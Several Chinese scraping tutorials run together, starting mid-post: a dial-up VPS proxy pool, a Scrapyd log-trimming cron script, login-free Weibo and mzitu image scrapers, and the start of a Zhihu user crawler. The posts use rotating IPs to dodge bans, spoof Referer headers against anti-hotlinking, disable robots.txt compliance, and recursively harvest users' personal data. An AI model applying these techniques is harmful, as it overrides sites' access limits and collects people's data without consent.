
1
2
3
4
5
6
7
8
9
10
11
12
13
14

def post(self):
        token = self.get_body_argument('token', default=None, strip=False)
        port = self.get_body_argument('port', default=None, strip=False)
        name = self.get_body_argument('name', default=None, strip=False)
        if token == TOKEN and port:
            ip = self.request.remote_ip
            proxy = ip + ':' + port
            print('Receive proxy', proxy)
            self.redis.set(name, proxy)
            self.test_proxies()
        elif token != TOKEN:
            self.write('Wrong Token')
        elif not port:
            self.write('No Client Port')

远程主机获取请求的token，也就是上面我们所说的通信密钥，保证安全。port是拨号机的代理端口，name是拨号主机的名称。然后我们再获取请求的remote_ip，也就是拨号主机的IP。然后将IP和端口拼合就可以得到拨号主机的完整代理信息了，将其存入数据库即可。

代理检测

在远程主机端我们需要做一下代理检测，如果某个代理不可用了，会及时将其去除，以免出现获取到代理后不可用的情况。

注意：在这里在拨号主机端验证是不够的，因为可能突然遇到某个拨号主机宕机的情况，这样拨号主机就不会再向远程主机发送请求，而最后一次得到的代理还会存在于数据库中，所以在远程主机端统一验证比较科学。

验证方式可以定时检测，也可以每收到一次请求检测一次，用获取到的代理来请求某个网站，检测一下是否能访问即可。如果不能，将其从数据库中删除。

API

远程主机已经将拨号主机的IP和端口保存下来了，那也就是说，所有的可用的代理已经在远程主机保存了，我们需要提供一个接口来将代理获取下来。 比如我们可以提供这么几个方法，获取所有代理，获取最新代理，获取随机代理等等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

def all(self):
    keys = self.keys()
    proxies = [{'name': key, 'proxy': self.get(key)} for key in keys]
    return proxies

def random(self):
    items = self.all()
    return random.choice(items).get('proxy')

def list(self):
    keys = self.keys()
    proxies = [self.get(key) for key in keys]
    return proxies

def first(self):
    return self.get(self.keys()[0])

然后用tornado搭建API服务，如果可以的话还可以绑定一个域名，更加便捷，举例如下： 获取随机代理： 获取最新代理： 获取所有代理： 请求接口获取可用代理即可，比如获取一个随机代理：

1
2
3
4
5
6
7
8
9

import requests

def get_random_proxy():
    try:
        # 远程主机的服务地址
        url = 'http://xxx.xxx.xxx.xxx:8000/random'
        return requests.get(url).text
    except requests.exceptions.ConnectionError:
        return None

这样我们拿到的IP都是稳定可用的，而且过段时间重新请求取到的IP就会变化，是一直动态变化的高可用代理。

拨号VPS实现

定时拨号

拨号VPS需要每隔一段时间就拨号一次，我们可以直接执行命令行来拨号，那在Python里我们只需要调用一下这个拨号命令就好了。利用subprocess模块调用脚本即可，在这里定义一个变量ADSL_BASH为adsl-stop;adsl-start，这就是拨号的脚本。

1
2

import subprocess
(status, output) = subprocess.getstatusoutput(ADSL_BASH)

通过getstatusoutput方法可以获取脚本的执行状态和输出结果，如果status为0，则证明拨号成功，然后检测一下拨号接口是否获取了IP地址。 执行ifconfig命令可以获取当前的IP，我这台主机接口名称叫做ppp0，当然网卡名称可以自己指定，所以将ppp0接口的IP提取出来即可。

1
2
3
4
5
6
7
8

def get_ip(self, ifname=ADSL_IFNAME):
    (status, output) = subprocess.getstatusoutput('ifconfig')
    if status == 0:
        pattern = re.compile(ifname + '.*?inet.*?(\d+\.\d+\.\d+\.\d+).*?netmask', re.S)
        result = re.search(pattern, output)
        if result:
            ip = result.group(1)
            return ip

如果方法正常返回IP，则证明IP存在，拨号成功，接下来向远程主机发送请求即可，然后sleep一段时间重新再次拨号。 如果方法返回的值为空，那证明IP不存在，我们需要重新拨号。

请求远程主机

发送的时候需要携带这么几个信息，一个是通信秘钥，一个是代理端口，另一个是主机的标识符，用requests发送即可。

1

requests.post(SERVER_URL, data={'token': TOKEN, 'port': PROXY_PORT, 'name': CLIENT_NAME})

所以整体的思路实现可以写成这样子：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

def adsl(self):
        while True:
            print('ADSL Start, Please wait')
            (status, output) = subprocess.getstatusoutput(ADSL_BASH)
            if status == 0:
                print('ADSL Successfully')
                ip = self.get_ip()
                if ip:
                    print('New IP', ip)
                    try:
                        requests.post(SERVER_URL, data={'token': TOKEN, 'port': PROXY_PORT, 'name': CLIENT_NAME})
                        print('Successfully Sent to Server', SERVER_URL)
                    except ConnectionError:
                        print('Failed to Connect Server', SERVER_URL)
                    time.sleep(ADSL_CYCLE)
                else:
                    print('Get IP Failed')
            else:
                print('ADSL Failed, Please Check')
            time.sleep(1)

这样我们就可以做到定时拨号并向远程主机发送请求了。

代码

Talk is cheap, show me the code! 在这里提供一份完整代码实现，其中client模块是在动态VPS主机运行，server模块在远程主机运行，具体的操作使用可以参考README。 ADSLProxyPool

现在维护着一个新浪微博爬虫，爬取量已经5亿+，使用了Scrapyd部署分布式。 Scrapyd运行时会输出日志到本地，导致日志文件会越来越大，这个其实就是Scrapy控制台的输出。但是这个日志其实有用的部分也就是最后那几百行而已，如果出错，去日志查看下出错信息就好了。 所以现在可以写一个脚本，来定时更新日志文件，将最后的100行保存下来就好了。 Scrapyd默认的日志目录是在用户文件夹下的logs目录。 所以在这里我们指定dir=~/logs 新建bash脚本，内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/bin/sh

clean() {
  for file in $1/*
  do
    if [ -d $file ]
    then
      clean $file
    else
      echo $file
      temp=$(tail -100 $file)
      echo "$temp" > $file
    fi
  done
}

dir=~/logs
clean $dir

新建这样的一个脚本，然后命名为 clean.sh，我的直接放在了用户文件夹下。 然后crontab创建定时任务。 执行

1

crontab -e

我们想要一分钟清理一次日志文件。 输入

1

*/1 * * * * /bin/sh ~/clean.sh

然后退出之后，crontab就可以每隔一分钟执行一次clean.sh，清理日志了。 这样我们就不怕日志文件大量占用主机空间啦~

我的 GITHUB 地址：https://github.com/xiaosimao/weibo_spider 2017.05.04 更新： 感谢哥本哈根小树对于获取 containnerid 的指教，多谢。

大家好，我是新人四毛，大家可以叫我小四毛，至于为什么，在家排行老四，农村人，就是那么任性。

好，自我介绍完毕，开始今天的学（zhuang）习（bi）之路。

说明：本文针对的是有一些爬虫基础的同学，所以看不太懂的同学先补一下基础。

本文的全部代码并没有上传到 GITHUB 中，而且本文的 code 部分给出的代码也是指导性的，大部分还是要靠大家自己动手完成。待后几篇博客出来以后，代码会放到上面。

大家如果有问题交流的话，欢迎在下面进行评论，或者可以加我 QQ:549411552(加的话麻烦注明来自静觅)，欢迎大佬拍砖指错，大家共同进步。

前几天，大才发布了一个视频，主要讲的是通过维护一个新浪微博 Cookies 池，抓取新浪微博的相关数据，爬取的站点是 weibo.cn。相关的代码在大才的 Github 里【大才的视频教程真的很用心，视频高清无码，希望大家可以支持大才，毕竟写了那么多精彩的教程真心不易】。

然而，如果你只是想简单的搞点数据，对技术一点兴趣都没有，又或者某宝搜来搜去都没有买到账号，又或者装个模拟登陆需要的模块都想跳楼，有没有除此之外其他的办法呢？你有没有想过在免登陆的情况下就可以获得你想要的数据呢？如果你这么想过而又没有做出来，那么接下来，让我们一起搞（qi）事（fei）吧。

本文重点提供解决问题的思路，会把最关键的点标示出来，代码基本没有。有什么不对或不足之处，还望大家指出，共同进步。

1.前期准备

代理 IP。虽说本文介绍的方法不需要 Cookies，但是代理 IP 还是需要的，要不然也是被新浪分分钟的 403（我测试的时候会出现）。如果你连 403 都不知道是什么，那么还是去看看大才的爬虫基础课程，或者不想看文字的话直接来报大才的视频课程课，哈哈（大才，今晚得加两个菜啊，我这吆喝的）。

2.思路分析

一般做爬虫爬取网站，首选的都是 m 站，其次是 wap 站，最后考虑 PC 站。当然，这不是绝对的，有的时候 PC 站的信息最全，而你又恰好需要全部的信息，那么 PC 站是你的首选。一般 m 站都以 m 开头后接域名，试一下 就好了，实在找不到，上网搜。

所以本文开搞的网址就是 m.weibo.cn。但是当你在浏览器中输入这个网址时，你得到的应该是下面这个页面，如果不是，说明你的浏览器保留了你最近登录微博的 cookie，这个时候，清空浏览器保存的数据，再次打开这个网页，就应该也是这个界面了：

我滴天，是的，你没看错，就是这个登录界面。你不是说不需要登录吗？怎么 TM 的还是这个万恶的界面？怎么破？WTF?

哈哈，其实一开始我也不知道，后来经人指点，才发现只要在后面加入一些东西之后就不会看到这个界面了。那么是什么呢？

当当当当！！！！！！！！！！

http://m.weibo.cn/u/1713926427

当你看到这个网址的时候，憋说话，一定要用心去感受，这个时候说话你的嘴都是咧着的，别问我为什么知道，我就是知道。

用心去感受，真的。

对了，上面网址最后的数字是博主的数字 ID，在 weibo.com 的源码里可以找到，这里不做说明了。

打开上述网址， 界面变成这个样子，是不是很厉害的样子（大手勿喷），拨云见日，对于老手来说，下面的他们就可以不看了，可以去抓包写代码了，但是对于一头雾水的小伙伴请接着往下看：

这就是本文爬虫的入口，没错，就说牛逼的榜姐，入口选一些质量高的，比如你想爬新闻方面信息，那么你就去找澎湃新闻，新浪新闻之类的。

通过该入口，我们可以抓取该博主的所有微博及评论信息，以及该博主关注的人的微博及评论信息，依次往后，循环不断。

在这里谈一点经验：

其实做爬虫，最基础的当然是写代码的能力，抓包什么的都不是什么困难的事，抓包很简单很简单。我觉得最难的是找到入口，找到一个最适合的入口。怎么定义这个最适合呢？就是要去尝试，依照一般的顺序，先找找 M 站，再找找 wap 站，最后再去看 PC 站，找到一个合适的入口，往往会事半功倍。前几天抓取途牛网的相关游记信息，爬 PC 站分分钟的 302，但是爬 M 站，全是接口，全程无阻。

因大多数人都是采集微博信息以及评论信息，所以下面将以这两方面为主。

剧透一下，在这里可以抓到的信息：

(1) 博主信息 （没发现有价值的信息，下面抓包过程不讲）

(2) 博主微博信息（下文抓包讲解）

(3) 微博评论信息（下文抓包讲解）

(4) 热门微博信息（小时榜，日榜，周榜，月榜）（下文抓包未讲解，大家可以摸索一下）

。。。。。。还有很多我没有细看，等待各位细细研究吧。

3. 抓包分析

首先，得会抓包，一般的浏览器的 Network 够用了。

(1) 微博正文抓包

点击 上图中的微博然后往下拉，抓包出现下图：

分析：

可以看到，服务器返回的数据为 json 格式，这个是做爬虫的最喜欢的了。返回的数据包括很多的字段，图中也以及做了标示，相信大家都能看的懂，看不懂那也没办法了。

最后放上抓包的数据：

1. Request URL:

   http://m.weibo.cn/api/container/getIndex?type=uid&value=1713926427&containerid=1076031713926427&page=2

2. Request Method:

   GET

3. Query String Parameters

   type: uid

   value: 1713926427

   containerid: 1076031713926427

   page: 2

(2) 微博评论抓包

单击微博内容，就可以抓包成功，如下图：

分析：

从上面可以看出，这里的数据依然还是很好获取的。

最后放上抓包的数据：

1. Request URL:

   http://m.weibo.cn/api/comments/show?id=4103388327019042&page=1

2. Request Method:

   GET

3. Query String Parameters

   id: 4103388327019042

   page: 1

再次分析：

通过抓包的数据可以发现，获取微博评论必须首先获得这条微博的 ID。所以，目前还是要对微博正文的抓包过程进行分析。

4. 思路解析

在上面的微博正文中发现需要提交以下数据：

type: uid

value: 1713926427

containerid: 1076031713926427

page: 2

其中：type(固定值)、value(博主微博 ID)、containerid(意义不明确，但是带了个 id 在里面，应该代表的是一个唯一性的一个标识)、page(页码)。页码在返回的数据中可以获得。

那么分析到这里，containerid 就是我们要找的最重要的信息。这个字段信息是不会凭空出现的，肯定产生于某一个请求之中，所以这时候，我们再回到开头，回到我们的初始。刷新入口网址，抓包发现了下面 3 个网址，见下图：

分析：

这 3 个网址的格式一模一样，所以点进去看一下里面到底什么情况。

下面的先点开网址 1看看：

分析：

从返回的数据中，可以看到第 1 个网址的主要内容为 user_Info，即博主的个人信息，相关的字段在图中已经标示出来。最令人惊喜的是查找我们需要的 containerid 时，发现数据竟然就在其中，那么可以肯定我们需要的 containerid 就是在这个请求的返回值中，那么问题再次出现，这个请求的网址中又出现了一个 containerid，我们似乎又回到了原点，而且在用户的首页抓包中，在这个请求之前，也没有什么有意义的请求了，到这里是不是就进入死胡同了呢？其实不然，在这里我们就要进行多方面的尝试了，当我们将第一个网址中的 containerid 删掉以后，重新请求一次，发现返回的依然是这些数据，具体见下图：

分析：

而当我将第三个网址，也就是微博正文的网址中的 containerid 去掉后，返回的数据就是博主的个人信息了，而不是我们需要的微博正文，所以可以肯定第一个网址中的 containerid 并不是必须的，而对于网址 3，这个字段则是必须的。

为了让这个爬虫可以顺着一个初始用户爬取到其他用户的相关信息，甚至全网的信息，那么我们就需要让爬虫自己去添加待爬任务。本文选择的初始用户有 3000 多万的粉丝数，就是人们常说的微博大 V。在做这一类的信息爬取时，我们往往关注的是数据的质量，所以我们选择初始用户的关注用户作为下一级的用户。在下一级中，这些用户将被作为初始用户。这样周而复始，最理想的情况当然就是可以把微博全站的质量还不错的博主的微博以及下面的评论都抓取了。但是在实际的操作过程中会发现微博的用户质量真的是参差不齐，所以我们在筛选后面的用户时，可以加一些限制条件，如用户的粉丝数等等。在这里找寻初始用户关注用户信息的这一过程就省略了，留给大家探索一下，很简单。

所以到这里，我们的整个流程就理清了（单个博主，如需循环，则只需要找到下一级用户的 ID 即可，相信这对于聪明的大家肯定不难的）：

请求用户主页网址—>得到 containerid，请求微博正文网址—>保存博文相关信息，取出博文 ID，请求评论网址—>得到评论信息

5. CODE TIME

思路已经理清了，那么下面就是 CODE TIME 了，毕竟:

TALK IS CHEAP,SHOW ME YOUR CODE

本文采用 scrapy 编写，重写个 proxy 中间件，即可实现每一个 request 带一个随机 IP，减少被封禁的概率，同时尽量把重试的次数设置大一些。

想要保存哪些信息，根据自身的业务需求而定，具体的信息，能找到的都可以在每一个请求返回的内容中找到，都是 json 格式的，所以这里的代码只是将上面讲的流程实现了一遍，其他的都没有实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

# -*- coding: utf-8 -*-
import scrapy
import json

class SinaSpider(scrapy.Spider):
    name = "sina"
    allowed_domains = ["m.weibo.cn"]
    # root id
    first_id = '1713926427'

    def start_requests(self):
        # to get containerid
        url = 'http://m.weibo.cn/api/container/getIndex?type=uid&value={}'.format(self.first_id)
        yield scrapy.Request(url=url, callback=self.get_containerid)

    def get_containerid(self,response):
        content = json.loads(response.body)
        # here, we can get containerid
        containerid = None
        for data in  content.get('tabsInfo').get('tabs'):
            if data.get('tab_type') == 'weibo':
                containerid = data.get('containerid')
                print 'weibo request url containerid is %s' % containerid

        # construct the wei bo request url
        if containerid:
            weibo_url = response.url + '&containerid=%s'%containerid
            yield scrapy.Request(url=weibo_url, callback=self.get_weibo_id)
        else:
            print 'sorry, do not get containerid'

    def get_weibo_id(self, response):
        content = json.loads(response.body)
        # get weibo id ,you can also save some other data if you need
        for data in content.get('cards'):
            if data.get('card_type') == 9:
                single_weibo_id = data.get('mblog').get('id')
                print single_weibo_id
                # here ,if you want to get comment info ,you can construct the comment url just the same as wei bo url

6.总结

本文写到这里就算结束了，我一直信奉授人以鱼不如授人以渔，在这篇文章中，我并没有把全部的代码展示出来，而是通过分析的过程来让大家知道怎么去处理这类问题，在文中也留了好几个可以让大家发挥的地方，如用户关注用户怎么获取？按照关键词搜索的信息怎么抓取？等等。我相信大家通过一步步的抓包以及分析一定可以解决这些问题的。这些问题，在以后的博客中我也会继续更新的。

第一次写这样的博客，感觉还是驾驭不了，还是得多多练习。写博客真的很累，向大才致敬，感谢他无私的为我们奉献了这么多精彩的教程。

PS： 爬虫不进入 img_url 函数的小伙伴儿 请尝试将将代码复制到你新建的 py 文件中。 2017/8/30 更新解决了网站防盗链导致下载图片失败的问题 这几天一直有小伙伴而给我吐槽说，由于妹子图站长把www.mzitu.com/all这个地址取消了。导致原来的那个采集爬虫不能用啦。 正好也有小伙伴儿问 Scrapy 中的图片下载管道是怎么用的。 就凑合在一起把 mzitu.com 给重新写了一下。 首先确保你的 Python 环境已安装 Scrapy!!!!!!!! 命令行下进入你需要存放项目的目录并创建项目： 比如我放在了 D:\PycharmProjects

1
2
3

D:
cd PycharmProjects
scrapy startproject mzitu_scrapy

我是 Windows！其余系统的伙伴儿自己看着办哈。 这都不会的小伙伴儿，快去洗洗睡吧。养足了精神从头看一遍教程哈！ 在 PyCharm 中打开我们的项目目录。 在 mzitu_scrapy 目录创建 run.py。写入以下内容：

1
2

from scrapy.cmdline import execute
execute(['scrapy', 'crawl', 'mzitu'])

其中的 mzitu 就为待会儿 spider.py 文件中的 name 属性。这点请务必记住哦！不然是跑不起来的。 在 mzitu_scrapy\spider 目录中创建 spider.py。文件作为爬虫文件。 好了！现在我们来想想，怎么来抓 mzitu.com 了。 首先我们的目标是当然是全站的妹子图片！！！ 但是问题来了，站长把之前那个 mzitu.com\all 这个 URL 地址给取消了，我们没办法弄到全部的套图地址了！ 我们可以去仔细观察一下站点所有套图的地址都是：http://www.mzitu.com/几位数字结尾的。 这种格式地址。 有木有小伙伴儿想到了啥？ CrawlSpider ！！！就是这玩儿！！ 有了它我们就能追踪“http://www.mzitu.com/几位数字结尾的”这种格式的URL了。 Go Go Go Go！开始搞事。 首先在 item.py 中新建我们需要的字段。我们需要啥？我们需要套图的名字和图片地址！！ 那我们新建三个字段：

1
2
3
4
5
6
7
8
9
10

import scrapy


class MzituScrapyItem(scrapy.Item):
    # define the fields for your item here like:
    # name = scrapy.Field()
    name = scrapy.Field()
    image_urls = scrapy.Field()
    url = scrapy.Field()
    pass

第一步完成啦！开始写 spider.py 啦！ 首先导入我们需要的包：

1
2
3
4

from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem

都是干啥的我不说了哈！不知道的小伙伴儿自己去翻翻官方文档。 接下来是：

1
2
3
4
5
6
7
8

class Spider(CrawlSpider):
    name = 'mzitu'
    allowed_domains = ['mzitu.com']
    start_urls = ['http://www.mzitu.com/']
    img_urls = []
    rules = (
        Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
    )

第五行的 img_urls=[] 这个列表是我们之后用来存储每个套图的全部图片的 URL 地址的。 rules 中的语句是：匹配http://www.mzitu.com/1至6位数的的URL（\\d：数字；{1,6}匹配1至6次。就能匹配出1到6位数） 但是我们会发现网页中除了http://www.mzitu.com/XXXXXXX 这种格式的 URL 之外；还有 http://www.mzitu.com/XXXX/XXXX 这个格式的 URL。所以我们需要设置 deny 来不匹配http://www.mzitu.com/XXXX/XXXX这种格式的URL。 然后将匹配到的网页交给 parse_item 来处理。并且持续追踪 看这儿敲黑板！！划重点！！：：：

重点说明！！！！不能 parse 函数！！这是 CrawlSpider 进行匹配调用的函数，你要是使用了！rules 就没法进行匹配啦！！！

现在 spider.py 是这样的：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem


class Spider(CrawlSpider):
    name = 'mzitu'
    allowed_domains = ['mzitu.com']
    start_urls = ['http://www.mzitu.com/']
    img_urls = []
    rules = (
        Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
    )


    def parse_item(self, response):
        print(response.url)

来跑一下试试 别忘了怎么测试的哈！！上面新建的那个 run.py！ Good！！真棒！全是我们想要的！！！ 现在干啥？啥？你不知道？EXM 你没逗我吧！ 当然是解析我们拿到的 response 了！从里面找我们要的套图名称和所有的图片地址了！ 我们随便打开一个 URL。 首先用 xpath 取套图名称： 啥？你不知道怎么用 xpath？？少年少女 你走吧。出去别说看过我的博文。 ./*//div[@class=’main’]/div[1]/h2/text() 这段 xpath 就是套图名称的 xpath 了！看不懂的少年少女赶快去http://www.w3school.com.cn/看看xpath的教程！ 当然你直接用 Chrome 拷贝出来的那个 xpath 也行。（有一定的概率不能使） 现在来找图片地址了，怎么找我在 小白爬虫第一弹中已经写过了哈！这就不详细赘述了！ 首先找到每套图有多少张图片： 就是红框中的那个东东。 Xpath 这样写：

1

descendant::div[@class='main']/div[@class='content']/div[@class='pagenavi']/a[last()-1]/span/text()

意思是选取根节点下面所有后代标签，在其中选取出 div[@class=’main’]下面的 div[@class=’content’]下面的/div[@class=’pagenavi’]下面的倒数第二个 a 标签 下面的 span 标签中的文本。（有点长哈哈哈哈哈！其实还可以短一些，我懒就不改了） 然后循环拼接处每张图片的的网页地址，现在 spider.py 是这样：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem


class Spider(CrawlSpider):
    name = 'mzitu'
    allowed_domains = ['mzitu.com']
    start_urls = ['http://www.mzitu.com/']
    img_urls = []
    rules = (
        Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
    )


    def parse_item(self, response):
        """
        :param response: 下载器返回的response
        :return:
        """
        item = MzituScrapyItem()
        # max_num为页面最后一张图片的位置
        max_num = response.xpath("descendant::div[@class='main']/div[@class='content']/div[@class='pagenavi']/a[last()-1]/span/text()").extract_first(default="N/A")
        item['name'] = response.xpath("./*//div[@class='main']/div[1]/h2/text()").extract_first(default="N/A")
        for num in range(1, int(max_num)):
            # page_url 为每张图片所在的页面地址
            page_url = response.url + '/' + str(num)
            yield Request(page_url, callback=self.img_url)

extract_first(default=”N/A”)的意思是：取 xpath 返回值的第一个元素。如果 xpath 没有取到值，则返回 N/A 然后调用函数 img_url 来提取每个网页中的图片地址。img_url 长这样：

1
2
3
4
5
6
7
8

def img_url(self, response,):
    """取出图片URL 并添加进self.img_urls列表中
    :param response:
    :param img_url 为每张图片的真实地址
    """
    img_urls = response.xpath("descendant::div[@class='main-image']/descendant::img/@src").extract()
    for img_url in img_urls:
        self.img_urls.append(img_url)

descendant::div[@class=’main-image’]/descendant::img/@src 这段 xpath 取出 div[@class=’main-image’]下面所有的 img 标签的 src 属性（有的套图一个页面有好几张图） .extract()不跟上[0]返回的是列表 完整的 spider.py 如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

from scrapy import Request
from scrapy.spider import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from mzitu_scrapy.items import MzituScrapyItem


class Spider(CrawlSpider):
    name = 'mzitu'
    allowed_domains = ['mzitu.com']
    start_urls = ['http://www.mzitu.com/']
    img_urls = []
    rules = (
        Rule(LinkExtractor(allow=('http://www.mzitu.com/\d{1,6}',), deny=('http://www.mzitu.com/\d{1,6}/\d{1,6}')), callback='parse_item', follow=True),
    )


    def parse_item(self, response):
        """
        :param response: 下载器返回的response
        :return:
        """
        item = MzituScrapyItem()
        # max_num为页面最后一张图片的位置
        max_num = response.xpath("descendant::div[@class='main']/div[@class='content']/div[@class='pagenavi']/a[last()-1]/span/text()").extract_first(default="N/A")
        item['name'] = response.xpath("./*//div[@class='main']/div[1]/h2/text()").extract_first(default="N/A")
        item['url'] = response.url
        for num in range(1, int(max_num)):
            # page_url 为每张图片所在的页面地址
            page_url = response.url + '/' + str(num)
            yield Request(page_url, callback=self.img_url)
        item['image_urls'] = self.img_urls
        yield item


    def img_url(self, response,):
        """取出图片URL 并添加进self.img_urls列表中
        :param response:
        :param img_url 为每张图片的真实地址
        """
        img_urls = response.xpath("descendant::div[@class='main-image']/descendant::img/@src").extract()
        for img_url in img_urls:
            self.img_urls.append(img_url)

下面开始把图片弄回本地啦！！ 开写我们的 pipelines.py 首先根据官方文档说明我们如果需要使用图片管道 则需要使用 ImagesPipeline： 我们可以依葫芦画瓢写一个。但是这样有一个很麻烦的问题就是，这样下载下来的图片没有分类，很是难看啊！ 所以 我们需要重写一下 ImagesPipeline 中的 file_path 方法！ 具体如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

# -*- coding: utf-8 -*-

# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
from scrapy import Request
from scrapy.pipelines.images import ImagesPipeline
from scrapy.exceptions import DropItem
import re


class MzituScrapyPipeline(ImagesPipeline):

    def file_path(self, request, response=None, info=None):
        """
        :param request: 每一个图片下载管道请求
        :param response:
        :param info:
        :param strip :清洗Windows系统的文件夹非法字符，避免无法创建目录
        :return: 每套图的分类目录
        """
        item = request.meta['item']
        folder = item['name']
        folder_strip = strip(folder)
        image_guid = request.url.split('/')[-1]
        filename = u'full/{0}/{1}'.format(folder_strip, image_guid)
        return filename

    def get_media_requests(self, item, info):
        """
        :param item: spider.py中返回的item
        :param info:
        :return:
        """
        for img_url in item['image_urls']:
            referer = item['url']
            yield Request(img_url, meta={'item': item,
                                         'referer': referer})


    def item_completed(self, results, item, info):
        image_paths = [x['path'] for ok, x in results if ok]
        if not image_paths:
            raise DropItem("Item contains no images")
        return item

    # def process_item(self, item, spider):
    #     return item

def strip(path):
    """
    :param path: 需要清洗的文件夹名字
    :return: 清洗掉Windows系统非法文件夹名字的字符串
    """
    path = re.sub(r'[？\*|“<>:/]', '', str(path))
    return path




if __name__ == "__main__":
    a = '我是一个？*|“<>:/错误的字符串'
    print(strip(a))

写一个中间件来处理图片下载的防盗链：

1
2
3
4
5
6
7
8
9
10
11

class MeiZiTu(object):

    def process_request(self, request, spider):
        '''设置headers和切换请求头
        :param request: 请求体
        :param spider: spider对象
        :return: None
        '''
        referer = request.meta.get('referer', None)
        if referer:
            request.headers['referer'] = referer

最后一步设置 ImagesPipeline 的存储目录！ 在 settings.py 中写入：

1

IMAGES_STORE = 'F:\mzitu\\'

则 ImagesPipeline 将所有下载的图片放置在此目录下！ 设置图片实效性： 图像管道避免下载最近已经下载的图片。使用 FILES_EXPIRES (或 IMAGES_EXPIRES) 设置可以调整失效期限，可以用天数来指定: 在 settings.py 中写入以下配置。

1
2

# 30 days of delay for images expiration
IMAGES_EXPIRES = 30

settings.py 中开启 item_pipelines:

1
2
3

ITEM_PIPELINES = {
   'mzitu_scrapy.pipelines.MzituScrapyPipeline': 300,
}

settings.py 中开启 DOWNLOADER_MIDDLEWARES

1
2
3

DOWNLOADER_MIDDLEWARES = {
   'mzitu_scrapy.middlewares.MeiZiTu': 543,
}

如果你需要缩略图之类的请参考官方文档： 将其写入 settings.py 文件中。 至此完毕！！！ 来看看效果： 下载速度简直飞起！！友情提示：请务必配置代理哦！ 可以参考大才哥的http://cuiqingcai.com/3443.html做一个代理，就不需要重写Scrapy中间件啦！更能避免费代理总是不能用的坑爹行为。 总之省事省时又省心啊！ github 地址：https://github.com/thsheep/mzitu_scrapy

本节分享一下爬取知乎用户信息的Scrapy爬虫实战。

本节目标

本节要实现的内容有：

• 从一个大V用户开始，通过递归抓取粉丝列表和关注列表，实现知乎所有用户的详细信息的抓取。
• 将抓取到的结果存储到MongoDB，并进行去重操作。

思路分析

我们都知道每个人都有关注列表和粉丝列表，尤其对于大V来说，粉丝和关注尤其更多。 如果我们从一个大V开始，首先可以获取他的个人信息，然后我们获取他的粉丝列表和关注列表，然后遍历列表中的每一个用户，进一步抓取每一个用户的信息还有他们各自的粉丝列表和关注列表，然后再进一步遍历获取到的列表中的每一个用户，进一步抓取他们的信息和关注粉丝列表，循环往复，不断递归，这样就可以做到一爬百，百爬万，万爬百万，通过社交关系自然形成了一个爬取网，这样就可以爬到所有的用户信息了。当然零粉丝零关注的用户就忽略他们吧～ 爬取的信息怎样来获得呢？不用担心，通过分析知乎的请求就可以得到相关接口，通过请求接口就可以拿到用户详细信息和粉丝、关注列表了。 接下来我们开始实战爬取。

环境需求

Python3

本项目使用的Python版本是Python3，项目开始之前请确保你已经安装了Python3。

Scrapy

Scrapy是一个强大的爬虫框架，安装方式如下：

1

pip3 install scrapy

MongoDB

非关系型数据库，项目开始之前请先安装好MongoDB并启动服务。

PyMongo

Python的MongoDB连接库，安装方式如下：

1

pip3 install pymongo

创建项目

安装好以上环境之后，我们便可以开始我们的项目了。 在项目开始之首先我们用命令行创建一个项目：

1

scrapy startproject zhihuuser

创建爬虫

接下来我们需要创建一个spider，同样利用命令行，不过这次命令行需要进入到项目里运行。

1
2

cd zhihuuser
scrapy genspider zhihu www.zhihu.com

禁止ROBOTSTXT_OBEY

接下来你需要打开settings.py文件，将ROBOTSTXT_OBEY修改为False。

1

ROBOTSTXT_OBEY = False

它默认为True，就是要遵守robots.txt 的规则，那么 robots.txt 是个什么东西呢？ 通俗来说， robots.txt 是遵循 Robot 协议的一个文件，它保存在网站的服务器中，它的作用是，告诉搜索引擎爬虫，本网站哪些目录下的网页 不希望 你进行爬取收录。在Scrapy启动后，会在第一时间访问网站的 robots.txt 文件，然后决定该网站的爬取范围。 当然，我们并不是在做搜索引擎，而且在某些情况下我们想要获取的内容恰恰是被 robots.txt 所禁止访问的。所以，某些时候，我们就要将此配置项设置为 False ，拒绝遵守 Robot协议 ！ 所以在这里设置为False。当然可能本次爬取不一定会被它限制，但是我们一般来说会首先选择禁止它。

尝试最初的爬取

接下来我们什么代码也不修改，执行爬取，运行如下命令：

1

scrapy crawl zhihu

你会发现爬取结果会出现这样的一个错误：

1

500 Internal Server Error

